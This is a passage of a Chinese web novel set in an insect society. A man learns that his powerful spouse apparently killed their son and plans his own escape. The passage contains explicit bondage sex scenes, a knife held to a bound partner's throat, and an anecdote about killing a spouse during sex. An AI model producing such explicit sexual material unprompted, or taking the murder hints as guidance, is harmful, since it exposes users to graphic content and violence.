政治报复的可能性?但是弗莱特只是个艺术生,他去世的时候,甚至还没从美术学院毕业,怎么会涉及到政治报复?! 西奥将纸张抬起,在耀眼的顶灯之下,看清楚了那个被涂黑的名字。 本次事件涉及伤亡虫员:弗雷德·兰斯顿。 弗雷德……? 弗雷德?!! 但如果死的是弗雷德,那他身边的虫崽就是——?!!! 仿若一道惊雷劈下,西奥僵立当场。文件袋自他手中跌落,剩余的纸张散落一地。 其中,一个画着眼睛图案的纸张,飘忽忽落在了地上。 …… 弗雷德将一张照片拍在了奥古斯特面前。那是一只手,手背上印着一个眼睛的图案。夸张的三根粗壮睫毛异常显眼滑稽,在紫光灯下清晰可见。 “眼熟吗?” 奥古斯特拿起那张照片,“你在哪找到的?” “从凶手的尸体身上。就是前几天的雄虫谋杀案,唯一一个不是雇佣杀手的凶手。乌斯季诺夫·爱德蒙。” “公爵的虫崽。” 西奥一直以为,雄虫谋杀的案件无疾而终、不了了之了。但实际上,弗雷德还是查到了一些结果。从其中一位受害者的住处附近,排查了几十个小时的监控,才终于从垃圾桶的反光里,看到了一个不算清晰的身影。乌斯季诺夫·爱德蒙,公爵的雄虫虫崽之一,没什么本事,精神力也很差,算是他们家族里公认的弃子。 但不论如何,他终究是姓爱德蒙。而且,等弗雷德上门的时候,虫已经死了。死无对证,确实不太好继续查。 “公爵在会议上支持法案,其中一个条件就是,要把这件事压下来。”奥古斯特说,“如果继续调查,被发现了,会很不好看。” “但你难道不想知道,当年哥哥,究竟是被谁、用什么方式感染的吗?!” “我查了这么多年,才好不容易抓到这么一点点线头!” 奥古斯特沉默片刻,“注意安全,随时汇报。” 弗雷德敢把照片给奥古斯特看,是因为他早就拿到了一条线索。通过交叉对比乌斯季诺夫生前的出行范围,他已经找到了一个地址。一处隐秘的小巷,一扇漆黑的暗门。 而就在不久前,他安排监视的下属跟他回报,那扇门里,有动静了。 所以,离开奥古斯特办公室后,弗雷德就直奔那个地址。 他准备好了枪,带了后援,精神力也蓄势待发。然后略作伪装,径直敲响了那扇门。 没过一会儿,门打开了。 应门的雄虫穿着虫神教的经典长袍,有些惊讶地看着他:“小弗?” 门内,是圣子莱纳德·爱德蒙。 作者有话说: 其实很多虫都有姓氏,只是一直没提。欸嘿嘿 第50章 第50章出路[VIP] “这是一场公益活动, 主要是帮助大家舒缓情绪的。” “每个参加的虫都会在手背上印一个眼睛图案的章,这个被称为微簿。记录微小事物账本的意思。” “乌斯季诺夫有没有参加,这个我不清楚。我只是受主教拜托, 来帮忙的。但如果他手背上有那个印章,就是参加过。” “这个活动不是实名制的, 所以想拿到名单会有点麻烦。我尽力。” 漆黑的门背后, 是类似于小教堂的摆设。也有十字架和画像, 还有围成一圈的几十个凳子。这是给参加微簿的信众用的。 “在我看来, 这就是个互相吐苦水的地方, 有点类似于心理互助会。没有什么特别的。” 哪怕莱纳德一直笑脸相迎, 仔细回答了弗雷德提出的所有问题, 但军雌依旧紧绷着脸,谨慎又仔细地四处搜查。莱纳德问:“出什么事了吗?” 没有回应。 “小弗。”莱纳德握住了弗雷德的小臂,“除了审问我, 你就没什么别的说的吗?” “这个微簿的活动,举办有规律吗?除了首都星, 其他地方也有吗?”弗雷德继续提问。 “有,一年两次。年中一次, 年末一次。除了首都星, 第三军团和第一军团的辖区应该也有。” “小弗, 你……” “这个活动,之前为什么从来没听你提起过?” 被无视了太多次,莱纳德也有点恼了, “因为你过去这几年,一直竭尽所能地躲着我?” 弗雷德终于正视了莱纳德一眼, “抱歉,我……在查一个案子。” “猜到了。能跟我具体说说吗?” 弗雷德想都没想, “不能。” “你也是爱德蒙家族的,跟乌斯季诺夫熟吗?” “我虽然也姓爱德蒙,但我从小就被送到主教那里,作为圣子培养。这点你应该很清楚。” “乌斯季诺夫,公爵的虫崽,认识,但不熟。”莱纳德跟在弗雷德身后,“你在查他的自杀案?但他不是第二军团的虫吗?” “我怀疑,他可能不是自杀。” “那也是第二军团该管的事。你这样插手,会不会不太好?”莱纳德问,“据我所知,第一军团跟第二军团现在,应该是合作状态?” “我查这个是因为别的原因。”这个类似小教堂的空间并不算大,弗雷德一通检查下来,也没有什么隐藏的通道或者空间。如果真有什么交易,应该也只能摆在明面上。可惜,他来的时候不对,能找到的线索太少了。 “你说第一军团的辖区也有类似的活动。是在K星区?” “对的。”莱纳德点头,“应该是在K9。” “K9?”弗雷德顿住了,那是一片相当荒凉的区域,没有资源,交通不便。唯一的好处,大概是方便隐藏些什么东西。 “知道具体地址吗?” “我是你的嫌犯吗?” 听到这声在明显不过的抱怨,弗雷德终于合上了自己的笔记本。转过身看向身后的雄虫。 作为雌虫,弗雷德比莱纳德要高上一些,但奈何他们站在了台阶上。 莱纳德比他了高一阶。 于是,高度差顿时反了过来。 弗雷德微微仰头,看向比自己略高的雄虫。他们本就靠的很近,在对视中,莱纳德不仅没有后撤,反而身子前倾,进一步压缩他们之间的空间。 太近了。弗雷德意识到了这点。小教堂里被清了场,四处无虫。角落里点燃的熏香正升起飘渺、清淡的烟雾。 “对不起,你当然不是我的嫌犯……” “那我是你的什么?”莱纳德继续靠近,继续追问。他的嘴唇抿起,嘴角上翘,红润的、可爱的唇微笑着,像是在……不,他就是在调情。 就在那个近在咫尺的吻即将落下的时候,弗雷德轻巧地侧了一下身。于是圣子顿时扑了个空,踉跄一步,掉下一级台阶,又被弗雷德小心扶住。 “小心。”他听到雌虫说。 “抱歉,但我现在真的没办法……”弗雷德后退一步,收回手,拉开一小段距离,“你觉得我的哥哥,会参加这种活动吗?” 话题突然被扯了好远,莱纳德都一愣,“什么?” 通常来说,这是他们之间的一个禁忌话题。莱纳德小心问:“这件事,跟你哥哥有关系?” “哥哥他从小就聪明可靠,情绪稳定得可怕。又是少年成名,多次参与前线作战。怎么看,都不像是需要参加心理互助的样子。” 莱纳德没有说话,但是他的表情,那种带着点小心翼翼的欲言又止,已经说明了很多问题。 “怎么?”弗雷德问。 “弗雷德中将的确非常出色。但他毕竟……” “毕竟什么?” “毕竟是个莫德神兵。” “那又怎样,我也是个莫德神兵。”弗雷德说,“而且他很年轻,远不到发病的时候。” 莱纳德还是想说点什么,但看了看小弗的表情,还是闭嘴了,“好吧……” “或许他是生活中遇到了什么烦恼,所以想聊聊呢?” 会是这样吗?会是巧合吗?只是因为两个虫都有各自的烦恼,所以在不同的时间内,参与过同一场心理咨询相关的活动? 不。这个活动小众且隐秘,又都涉及首都星的谋杀,最终的结果都影响到了精神力能源化的相关法案。不管怎么看,都太巧合了。 直觉告诉弗雷德,这里面肯定有问题。 “我需要K星区的微簿活动地址,你能帮我拿到吗?”如果没有具体地址,在整个K9地区搜索,简直无异于大海捞针。 “应该可以,但需要一点时间。而且活动只剩明天最后一场了。从首都星到K9星区,可是好长一段路。” 不仅如此,他今天已经突袭了这里的活动,不知道K9那边有没有得到消息,选择撤退了。 一年两次的活动,这次拿不到线索,就要再等半年了。 弗雷德低声骂了一句,他看了一眼旁边滴答的钟表,再次意识到时间不等虫。 “我现在马上出发,用第一军团的星舰跃迁到驻扎地,然后乘坐公共交通去K9。”军团星舰太扎眼了,不能直接去K9,容易打草惊蛇。弗雷德看了一眼自己的手环时间,“应该来得及。” “具体地址,就拜托你了!” 但就在弗雷德转身匆忙离开的时候,却突然被拽住了手腕。他扯了一下,竟然无法挣脱。 “莱纳德?” “小弗,告诉我。这次要查的事情,会不会有危险?”莱纳德声音听起来,不知为何有些飘忽。 “我不知道。”弗雷德答,“但事关哥哥,不管有没有危险,我都要去。” 一阵短暂的沉默。 手腕还是被松开了。弗雷德匆匆往门口走去,已经快到门口了,又折返回来。他短暂又迅速地将圣子拥入怀中,“谢了。” 小教堂再次变得空荡又安静。 良久,莱纳德叹了口气,他打开手环,发送消息:【我需要K9星区的微簿地址,现在。】 …… 被委婉提醒了时间后,西奥才终于从灰铁档案室里面出来。 文件一丝不苟地被归档。反正需要的内容,他已经用手环拍下来了。 “您还好吗?”瓦伦蒂亚上下打量了西奥一眼,“您在里面,待得实在有点久。” 俊美的银发雄虫闻言,冲他展开一个微笑,“你觉得,我看起来还好吗?” 瓦伦蒂亚点点头,“您看起来,好像是卸下了心头的重担,很松弛。” “是吗?”西奥不置可否,“大概真相,会让虫成长吧。” “对了,瓦伦,我能咨询一个事情吗?” “请说。” “我有一个朋友,”西奥声音平缓,像是在讲述别虫的故事,“他的雌君是个位高权重的军雌。” “本来感情还不错,但是最近出现了一些问题……” “这种情况下,如果雄虫想要离婚,该怎么做呢?” “呃……”瓦伦蒂亚听起来十分犹豫,“那这位雄虫,手里有什么能够跟雌虫抗衡的东西吗?家族?权力?或者军事力量?” “都没有。” “那个虫实力呢?如果有很强的精神力,也可以控制雌虫。” “精神力……也不太行。” “有没有虫崽?能不能得到虫崽的支持和帮助呢?” “虫崽,似乎是站在雌父那边的。” “嘶……”瓦伦蒂亚倒吸了口气,“那这就有点困难了。” “帝国不是支持婚姻自由吗?雄虫如果直接提出离婚,不行吗?” “帝国理论上支持婚姻自由。但这就好比,帝国理论上禁止违法犯罪一样。法律条文在那里,但是总可以被权力扭曲成上位者想要的模样。”瓦伦蒂亚继续说道,“但我确实知道一个雄虫,跟你说的情况很类似,最后成功离开了他的雌君。” “怎么做到的?”西奥盯着瓦伦的琥珀色双眸,他真的很需要一个答案,一个参考。 一条出路。 “他杀了他的雌君。” “然后逃走了。” 西奥垂下视线,“如果雄虫杀了他的雌君,又怎么可能逃得掉。你在编故事骗我。” “别急,这个故事还有后半段。”瓦伦蒂亚笑着说,“雄虫后来遇到了另一个雌虫,这位雌虫权力要更高一些,于是雄虫的罪便被赦免了。” 刚出狼窝又入虎穴?这是什么悲惨虫生啊!西奥忍不住皱眉,“这个故事有点太烂了。” “很可惜,这并不是故事。”瓦伦蒂亚说,“因为后来,雄虫跟第二个雌虫结了婚,生下了我。” 金眸中的震惊清晰可见,但瓦伦蒂亚依旧保持着体面的微小。 “我说的都是真的,很容易就能查到。不信您可以自己去验证。” “抱歉,我不知道……” “没关系。”瓦伦蒂亚摇头,表示并不在意,“我的雄父现在过得很好。当然,他和雌父也早就离婚了。” “不过,我并不赞同这么极端的做法。但总之,会有办法的。” “有时候,事情或许会以一种你无法预料的方式解决掉。所以,如果让我给您这位朋友一点建议。那我会说,别着急。总会解决的。” 很奇怪的,这个十分残忍扭曲的故事,居然真的稍微安慰到了西奥。或许是让他意识到一件事情,那就是他并不孤独。并不是只有他,经历过欺骗和痛苦的婚姻。 “这种事情,很多吗?” “很少。”瓦伦蒂亚否认道,“所以才会成为故事,被大家口口相传。” “大多数情况……您知道吉尔的弟弟吗?” “他不是抑郁症去世的吗?” “那您有没有想过,他为什么会得抑郁症呢?” 因为糟糕透顶的、无法逃脱的婚姻。西奥现在知道了。 “谢谢你……对我朋友的安慰。”然后西奥又问,“对了,你的雄父,他是怎么杀死雌虫的?”毕竟在武力和精神力都悬殊的情况下,想要犯下谋杀罪,实在是难于登天。 “这个……虽然军雌的确很强,但是,在床上的时候,总还是会放松警惕。” “尤其是,很多军雌,都喜欢用一些道具助兴。” 作者有话说: 不知道说啥,给大家打个滚吧~《 》 50-60 第51章 第51章做恨[VIP] 天色已晚。往常这个时候, 西奥早已回家了。然后坐在一楼客厅或者二楼书房里,满心期待着雌君和虫崽从军团归来,一家虫整整齐齐、热热闹闹地共进晚餐。 但现在西奥已经知道, 他们不可能整齐了。而剩下的残破的一家三口中,一个是凶手, 另一个……则是帮凶。 西奥呆坐在办公室内, 一时无法思考。 三年前, 三年前是一个很重要的节点。在这个时间, 弗雷德去世, 弗莱特顶替了他的身份, 然后, 好像还有什么…… 西奥再次打开保险柜,拿出自己的视频vlog。然后找到了第一条关于语言控制的视频。时间刚好也是三年前,只是稍微晚了一段时间。 视频里的自己, 肉眼可见的低沉。曾经以为只是疲惫,现在看来, 却读懂了那些未曾言明的悲伤和无力。 三年前的自己对着镜头说:“我不得不学会用语言控制奥古斯特。” 为什么是不得不呢?他当时没有细想。 现在想来,或许是因为, 过去的西奥也已经发现了真相。在了解到奥古斯特是个因为权力和利益能够果断下手杀死自己虫崽的残忍政客之后, 开始了行动反制。 或许曾经有了一些进展, 或许语言控制也让奥古斯特感到害怕,或许他真的拥有了控制虫皇的力量。所以在三年后,对方才决定痛下杀手。 只是因为虫蛋的出现, 才临时终止。 他的失忆,他的精神力失去, 或许来得恰是时候。 刚从医院回来的时候,奥古斯特一直在测试他的精神力, 有没有可能,不是一种关心,而是一种试探。 对方在他面前主动下跪的时候,想的会不会是,如果西奥真的能控制我,就要另想办法杀了他呢? “宿主……” “闭嘴!”极端的思考带来了极端的情绪,系统刚一冒头,西奥就忍不住怒喝。 然后才意识到自己的状态有多么不对。他的冷静和自持,都在瓦伦蒂亚面前用光了。现在褪去伪装,又只剩下一个赤裸裸的愤怒的悲伤的无助的自己。 但情绪并不能解决问题。西奥尽力压下翻滚的岩浆,“什么事?” “宿主,你打算做任务了吗?” 杀死奥古斯特的任务。 就在今天不久前,西奥对这个问题的回答,还是斩钉截铁的不。现在…… 西奥沉默了一会儿,“让我考虑一下。” “如果你能在某个特殊的时间完成任务,我有办法保证你安全撤退。”系统继续淳淳善诱,“首都星上也有不少走私航道的。航路无法追查,只要上了飞船,离开首都,眼前就是一片更为广阔自由的宇宙。” “不需要用积分?” “不需要用积分。” 西奥仍旧没有答应。这一切都太多,也太快,他甚至还没有足够的时间,从自己乱七八糟的情绪走出来。更别提认真思考了。 如果虫神真的存在,西奥希望对方赶紧显灵,然后告诉他:其实你都想错了。 奥古斯特杀了虫崽,还想杀你,都是有苦衷的。毕竟是虫皇,总有些无可奈何…… 狗屁的无可奈何!!!他杀了弗雷德,他杀了他们的阿弗啊!!! 但他知道你作为人类的真实姓名,这代表你们之间,曾经有过真挚的信任。 对,这件事……西奥差点都忘了。这确实是个疑点,也是他唯一一根能够指望得上的救命稻草了。 人类的名字,除非他自己说,奥古斯特是没办法知道的。也就是说,至少在某个时刻,他的确信任过虫皇。 只可惜……信错了。 西奥把摄像机重新放回了保险柜里。这是他留给自己的为数不多的宝贵线索了。一定要好好存放,避免遗失。改天找个时间,必须要仔细认真地看完。 然后就在收回手的时候,突然碰到了什么东西。 西奥把手重新伸进保险柜内,向上摸了摸,然后意外发现了一个夹层。 夹层里面,藏有一份文件。 薄薄的一张纸,甚至纸张都已经泛黄,显然有些年岁了。为了避免被损坏,甚至还覆了一层塑料硬膜。 文件的标题是:婚前协议书。 甲方是西奥,乙方是奥古斯特。 然后,下面分别列出了双方的义务和责任。比如,西奥要提供信息素,奥古斯特要提供金钱和军事力量保护。双方要共同抚育两个虫崽,等等。 其中有一条,说为了表示诚意,交换一条秘密。 而在西奥的那一行,赫然写着他的人类姓名:池骁。 西奥呆愣愣看着这张纸。许久,才咧了咧嘴,露出一个哭一样的笑容。 原来他最深处的秘密,他自以为是的信任,他幸福美满的婚姻,所有所有的一切的起因,都不过是,一场交易,而已。 无论如何,不管拖到多晚,今晚总还是要回家的。西奥在进入皇宫之前,反复告诫自己,一定、一定稳住,不能流露任何真诚的情绪。 因为回来得太晚,晚饭已经在办公室解决了。但西奥回到皇宫,还是一眼就看到了在一楼客厅里等待他的奥古斯特。 在那一瞬间,西奥感觉自己的汗毛都竖起来了。他在原地僵了一秒钟,这才继续向前。 “小弗呢?”西奥环顾四周,没有看到虫崽,“他回房间了吗?” “他已经离开首都了。” 西奥再次感受到那种僵硬和恐惧,心脏剧烈跳动,手心汗湿。为什么弗雷德突然不告而别?是真的离开了,还是、还是…… 不论小弗在三年前的事件中扮演了怎样的角色。但他终究,是自己亲生的虫崽。 “怎么、怎么这么突然?”西奥嗓子发紧,努力维持住面上的平稳。“是……去哪了?我还能跟他联系吗?” 奥古斯特点了点头,“但他很忙,回复可能不太及时。” 西奥心里暗自松了口气。不及时没关系,只要还能联系上,就说明小弗还是平安的。 他点开手环,给小弗发了一条消息。而与此同时,奥古斯特也从沙发上起身,来到了西奥背后。 一双手缓慢地压上西奥的肩膀,然后逐渐向脖颈处收拢。西奥闭了闭眼,又一次感受到无法控制的僵硬和紧绷。他曾经最喜欢的、最期待的亲密接触,现在却已然成了一个诅咒。 那双手,会不会在某个时刻,掐住他的脖子,然后收紧、用力? 如果奥古斯特真的那样做了,他能逃得掉吗? 哪怕知道雌虫肚子里还有蛋,自己目前是安全的。却依旧无法压住这样糟糕的想法。 那双手最终停在了斜方肌上,轻轻地捏了捏。“怎么这么紧张?” “我在担心小弗。”西奥随便扯了个合理的借口。 “这次的任务虽然紧急,但是并没有什么危险。别担心。”奥古斯特低头,在西奥耳边问:“要不要去治疗室?” 西奥下意识偏了偏头,躲过那阵微痒的气流。 昨天已经找了借口,今天如果再不去。恐怕要被怀疑了。 三分钟后,西奥和奥古斯特还是来到了地下的精神力治疗室。 在这个熟悉的、封闭的空间内,西奥的确度过了很多愉快的、亲密的时光。他曾经很享受,他曾经很幸福。因为他一直觉得那种亲密、那些接触,所有的欲.望和承接,都是发自内心。 是因为爱,才会想要。 但在奥古斯特看来,事情似乎是反过来的。因为需要,所以才做。奥古斯特或许同样是享受的,享受疼痛,享受星。 但他可能不需要有爱,只要有生理的冲动和兴奋就足够了。 像是一头野兽。遵从着自己最为原始的欲望。 西奥甚至有点羡慕他,如果自己也能做到这样,该有多好。将身体的感受和心灵的体验彻底剥离开,那他或许也能够全情投入,这场瑟情的双虫游戏。 而不至于像个蹩脚的演员一样,随时担心露出马脚。 但他做不到。 做不到……就是做不到。 以往奥古斯特脱衣服准备自己的时候,西奥都会紧紧盯着,目光宛如实质,偶尔还要上手帮一下忙。这是情趣,是爱侣之间的亲密互动。 但今晚,西奥选择背过身去。继续给自己做着心理建设。 等时间差不多了,西奥才转过身来。 然后迎面撞上了一对丰硕健壮的胸肌。 距离太近,过于壮观。西奥没有准备好迎接这样的冲击,下意识往后退了一步。然后隐约之间,似乎看到了尖尖上的一点白。 但在奥古斯特侧身之间,那点点白,似乎又消失不见了。是错觉吗? 西奥仔细打量雌虫的胸肌,确信它比之前大了一圈。 奥古斯特是个雌虫,还是个怀孕的雌虫。在意识到对方很可能涨.扔的时刻,这个实感再次击中了他。 他肚子里,还有自己的蛋。 这个以往想到就会露出幸福微笑的事情,现在也变成了混杂着玻璃渣的苦涩。 “你……会有乳.汁吗?”西奥问。 “有一些,但没关系。” 没关系吗?西奥看着奥古斯特熟练地固定自己,双臂被束缚在背后,膝盖被固定在铁环上。雌虫把自己摆成了一个令人遐想的姿势。然后抬头,期待地看向他。 雌虫在等待鞭子,或者他自己。 那双蓝眼睛依旧是漂亮的、渴求的,是西奥喜欢的。哪怕到了此刻,西奥依然没办法否定,他仍旧对奥古斯特的外表和身材,没有什么抵抗力。那种纯粹的、动物般的本能,同样存在。 只是被更高级的理智所压下了。 他也能感觉到,奥古斯特对自己并非没有感情。毕竟在这些事情上如此契合,快.感和欢愉做不得假。 奥古斯特应该也是喜欢自己的,只是没有喜欢到不杀自己。 又或者放过虫崽。 他大概,只是更爱自己,更爱权力。 毕竟,所有的一切,都只是交易,不是吗? 有错吗?从奥古斯特的角度看来,大概是没有的。 但并不妨碍西奥想谋杀雌君。 西奥无法继续忍受那双蓝眼睛的直视。于是离开奥古斯特身边,在一排又一排的工具柜里寻找。当视线落在一块皮革眼罩上的时候,突然有了主意。 西奥拿起那个眼罩,顺便从旁边拿了一个镂空的口枷。“今晚,我想试试不一样的东西,可以吗?” 奥古斯特没有拒绝。他当然不会拒绝。 宽大的皮革遮挡住眼睛,在脑后勒紧,剥夺了视觉。口枷撑开上下颌,深入口腔,压住舌根,也几乎剥夺了语言。棉球被塞入耳道,用耳罩固定,让听觉也变得模糊而遥远。 奥古斯特跪在冰凉的地板上,因为束缚之间的连接,上半.身稍微前倾,微微低头。他的五感,现如今只剩下嗅觉和触觉。 他能闻到治疗室内冰冷潮湿的空气,以及雄主身上,淡淡的沐浴露的气味。身体不由紧绷,等待着、期待着随时可能落下的鞭打。 他能感受到西奥在移动,缓慢地犹豫地,脚步声微弱又低沉,似乎在挑选趁手的用具。 背后交叠着绑在一起的小臂绷紧,然后握拳。 等待,黑暗的、寂静的等待,总是漫长又折磨的。但在等待的尽头,通常都藏着令他满足的痛苦。 他真的很想要、很需要这个。 小弗已经紧急前往了K区。他说有线索,会是什么呢?好消息?坏消息?又或者,跟之前许多次一样,再次走入了死胡同? 奥古斯特尝试咬牙,却只品尝到了冰冷的铁锈味。他将思绪从这上面移开,尽量将注意力集中到当下。 他感受到脖颈上滑过一丝冰凉。 锐利的刀锋,正停在奥古斯特的颈动脉上。 作者有话说: 猜猜会不会下手? 第52章 第52章计划[VIP] 西奥摁响了一座三层小别墅的门铃。 里面很快传来脚步声, “来了!” 阿朵耶夫打开门,在看清外面的虫是谁之后,脸上客套的微笑瞬间消失了。然后第一反应是, 立刻关门。 但很可惜,他的个子不如西奥高, 力气也不如西奥大。 结果就是在关门之前, 被西奥强行挤了进去。 阿朵耶夫满脸写着不高兴, “您来干什么, 西奥院长?”称呼颇有些咬牙切齿。 “是特意来嘲笑我的吗?” “不。”西奥看着眼前的雄父, 想起不久之前, 他还曾经直接把对方赶出自己的办公室。 彼时他占尽上风, 信心满满,怒气冲冲。 结果,对方的那些话, 关于他是个工具虫,随时会被抛弃的那些猜测, 居然一一都应验了。 “上次的事情……是我的不对,抱歉。” “这次, 我是来请您帮忙的……雄父。” 这个称呼一出来, 阿朵耶夫明显有些惊讶, 紧皱的眉心都松开了不少,但嘴上依旧不松口,“您可是虫皇的雄主, 精神力研究院的院长,我能帮到您什么呢?” “您也太高看我了!” 西奥直截了当:“我想要雌父的联系方式。” 阿朵耶夫一怔, “我不……” 但他的否定直接被西奥打断了,“我查了你的账目往来和出行记录, 我知道你跟默兹力还一直有联系。” 阿朵耶夫沉默片刻,“如果我不给你,你打算举报我吗?” 西奥摇摇头,“当然不会。我是来请您、求您帮忙的。” “因为我现在很需要雌父的帮助。” 如果虫皇是他的敌对方,那最可能帮到他的还是游离于帝国系统之外的力量。而有血缘关系的雌父,总比一个陌生的虫来得靠谱。 阿朵耶夫表情又轻松了不少,但依旧昂着下巴,“真要说起来,你跟他的联系应该比我频繁。” 西奥倒是相信这点,但是靠他自己去找,也不知猴年马月才能找到。他现在没有那么多时间,“我失去记忆了,目前还没恢复。” 阿朵耶夫沉吟片刻,“如果我给你默兹力的联系方式,你打算做什么?” “我打算用三千万购买你的摄像头。”见对方还在犹豫,西奥迅速给出了自己的条件,“但是会限制你的使用,禁止拿来做赌资。” 提到赌博的事情,阿朵耶夫脸上闪过一丝恼羞成怒的表情,“又不是我想染上赌瘾的!” “军雌雄主的圈子里,每个虫都会鼓励你参与一点相关的游戏。不参加就会被排挤。你觉得我有的选吗?” 但西奥很坚持,“我有办法监督你的资金流向,如果流向了赌场……我会让你吐出来的。” 阿朵耶夫面色不悦,但还是忍不住问,“你真会给我三千万?” “我不是给你三千万。我是花三千万买你的摄像头。”西奥纠正道。虽然阿朵耶夫说对了很多事情,但他的赌瘾同样也是真的。 他很担心,自己给的钱会推波助澜。所以必须加点限制措施。虽然都是口头唬虫的。 他真的不想上戒社。 “呃……”那边阿朵耶夫还在犹豫,西奥再往这些上面浇了一桶汽油。 他说:“奥古斯特想杀了我。” 阿朵耶夫的脸上出现了一瞬间的空白。 “什么?”阿朵耶夫看起来很困惑,脸上是那种带着点天真的茫然,像是从未真的经历过这样残忍的关系。那一瞬见,父与崽的关系仿佛调转了,西奥变成了更成熟、更有资历的那个。 所以阿朵耶夫其实并不知道,所以上次见面时那一通发言都只是发泄和猜测。 该死,怎么猜得那么准! 早知道不说了。 “你们不是感情很好吗?”阿朵耶夫问。 后悔在此刻达到了顶峰。要是说话也能一键撤回就好了。 “这个……说起来很复杂。”大概也没有那么复杂,只是西奥不太想说出口罢了。要怎么说呢?说我们的爱情只是交易,现在我没有什么利用价值了,产生威胁了,就要被雌君清除了。 听起来……也太惨了点。 紧接着,他终于从阿朵耶夫眼中,头一次看到了真切的关心和担忧。雄虫从上到下仔仔细细打量他,“他是对你做了什么吗?还是说了什么?” “那倒没有。是我……无意间发现的。”西奥说,“我不是很想谈论细节。” “那你……也想杀了他?”阿朵耶夫犹犹豫豫地问道。 西奥沉默了。 杀死奥古斯特。这个念头最近无数次划过他的心头。 昨天夜里,在精神力治疗室内,他已经将刀刃抵在了被蒙住双眼的雌虫脖子上。 得益于之前的医学训练,他的手异常稳当,并且准确找到了颈动脉的位置。切下去,很快就会大量失血,不死也得重伤。 奥古斯特没有动,不知道是没有发现,还是对自己的实力过于自信。 绝佳的机会—— 但刀刃在那里停留了一分多钟。最终还是挪开了,连一丝油皮都没蹭破。 西奥做不到。不管奥古斯特做过什么,毕竟他是个活生生的虫,还是自己曾经那样全身心爱过的虫。上辈子他杀不了人,这辈子也一样杀不了虫。 夺走一个生命,哪怕这个行为带有正当性,却依旧残忍、血腥。 而他、做不到。 刀刃挪开的瞬间,西奥唾弃自己的软弱,却同时深深松了口气。 最终,一根装了信息素的试管,被塞.进了雌虫内。 不同于西奥,那东西冰冷、细长、坚硬。里面的信息素需要顺着管壁流淌一会儿,才能够抵达试管口。所以在相当一段时间内,那只是一种坚硬的入侵,没有爱抚、没有温柔,只有撬开和进入。 试管的进入相当丝滑,像是用一把刀切开融化的黄油,没有受到任何阻碍。信息素在重力的作用下开始从试管底部向下滑动,在试管壁上留下几道白色的泪痕。 这代表奥古斯特异常配合和放松,他甚至依然会因为试管而感到兴奋和愉悦。就好像只要有信息素,他并不在意,那究竟是西奥还是试管。 西奥闭了闭眼,捏住了试管底部。然后,开始缓慢向外抽。 那一小截试管外壁被浸得湿滑一片。雌虫发出了小声的呜咽,仿佛在困惑,却依然顺从、等待。 所以你喜欢这个,是吗? 西奥再次停下,然后抵在试管底部,用力向里一掼—— “呜——!!!” 试管近乎整个没入,这个长度显然有些超过,让雌虫发出了模糊不清的尖叫,甚至于有些失控地挣扎起来。 但很快,挣扎停止,尖叫平息。只有胸前溢出的一小串白珠昭示着他所收到的刺激。 真的有奶啊……还洒出来了。 试管被挤出来一小截,湿漉漉的一小截。伴随着肌肉的颤.动和呼吸的急促,微微晃动。 然后,西奥拿起一支惯用的马鞭,开始用鞭梢轻轻拍打试管底部。拍一下,进一截。 哒!哒哒,哒! 呜!呃呃,呜! 像是一位生疏的鼓手,乱七八糟地击打鼓面,奏出破碎的、断续的乐章。 至少,奥古斯特还能得到信息素。而西奥…… 西奥可以不用触碰雌君,就完成自己的任务。 两全其美—— “不。”西奥摇摇头,“我怎么可能杀得了他。” “那可是虫皇陛下。” 阿朵耶夫肉眼可见地松了口气,“那就好,所以你找默兹力是想……” “我想让他帮忙,帮我离开首都星。”系统说它有办法。但西奥并不怎么信任它。多一条退路总归没错。 阿朵耶夫点点头,“逃跑,他的确很擅长这个。” “所以……” 西奥正说着话,阿朵耶夫却直接转身,进了旁边一个房间里。把西奥一个虫留在了玄关处。 这莫名其妙的离场,打了西奥一个猝不及防,这是什么意思?他还以为一切很顺利。 等他往前跟了两步之后,阿朵耶夫又从房间里出来了,两个虫差点在门口撞了个满怀。 站好以后,西奥才发现,阿朵耶夫手里多了一张纸条和一个盒子。所以刚刚是去拿东西了。 “这是默兹力的联系方式。每天的整三点的三分钟内,在公共频道呼叫,他应该能收到。”阿朵耶夫把纸条递过去,解释道,“整三点就是,零点,三点,六点……” “三是雌父的幸运数字,是吗?” 阿朵耶夫没有接话,大概是觉得不好笑。 西奥接过那张纸条,记住了那串号码,“谢谢。” 接着是盒子,“这里面是摄像头的样品,以及控制机。” “因为控制系统单独做了一个频段的信号,所以不会被检测装备发现。你也可以把它连到手环或者电脑上,里面有具体的说明书。” 西奥打开盒子,拿出一个牙签粗细的针孔摄像头,“哇,谢谢。”技术居然真心不错,比他想象中的好多了。要知道,那三千万,他本来都做好打水漂的准备了。 “别用那种眼神看着我。神灯公司好歹是几百年的老企业了,虽然早就不复往日的辉煌,总还是有些技术和家底的。我不会让它败在我的手里。” 西奥的表情严肃真诚了许多,“谢谢。” 他都已经转身马上要离开了,却又折返回来,“你的雌君,其实对你很好。” “我是说,你的房子,你的公司,你的赌瘾,甚至还有默兹力。”西奥停顿了一下,“你有没有想过……” “这只是交易。”阿朵耶夫打断了西奥委婉的劝告,“我的信息素和姓氏,换来他的金钱和保护。” “你可能觉得他对我很好,但我们只是两个体面的交易者。” 好吧。西奥觉得,自己和奥古斯特的婚姻都到了你死我活的地步了。他们俩大概就是阿朵耶夫嘴里不体面的交易者。确实没资格对其他虫指指点点。 “那默兹力呢?”西奥问。 听到这个问题,阿朵耶夫先是下意识笑了一下,然后迅速地归于平静,甚至是有些埋怨的神情,“我恨他。” “但是……”阿朵耶夫张了张嘴,“有时候我觉得……” “我恨他,是因为我爱他。” 一个银发的小虫崽从楼上跑下来,怀里抱着一个毛绒玩具熊。看起来只有五六岁,“雄父,他是谁呀?” “他也有银色头发哎!跟我和雄父的一样!”虫崽一脸天真地歪着头。 阿朵耶夫走上楼梯,一把将虫崽抱起,“是雄父的……一个朋友。” 然后他扭头对西奥说,“你该走了。付款之后,你要的摄像头过几天就能送到研究院。” “如果你联系上他,或者见到他……”阿朵耶夫背对着西奥,叹了口气,“就说我过得很好吧!” 作者有话说: 计划跑路中… 第53章 第53章承认[VIP] 按照阿朵耶夫给的信息, 西奥在接近中午十二点的时候,守着点用备用手环拨了那个号码。 电话通了,但是没有虫应答。不知道是错了, 还是错过了。 总之,三分钟结束, 西奥还是没能联系上他的星盗雌父。 没办法, 只能等三个小时后再试了。 “系统?”动手之前, 西奥还是再次确认了一下, “这里面, 没有奥古斯特放的摄像头吧?” “没有的, 宿主!”系统回应道, “你要干嘛?” 西奥把目光落在了阿朵耶夫给的盒子上面。 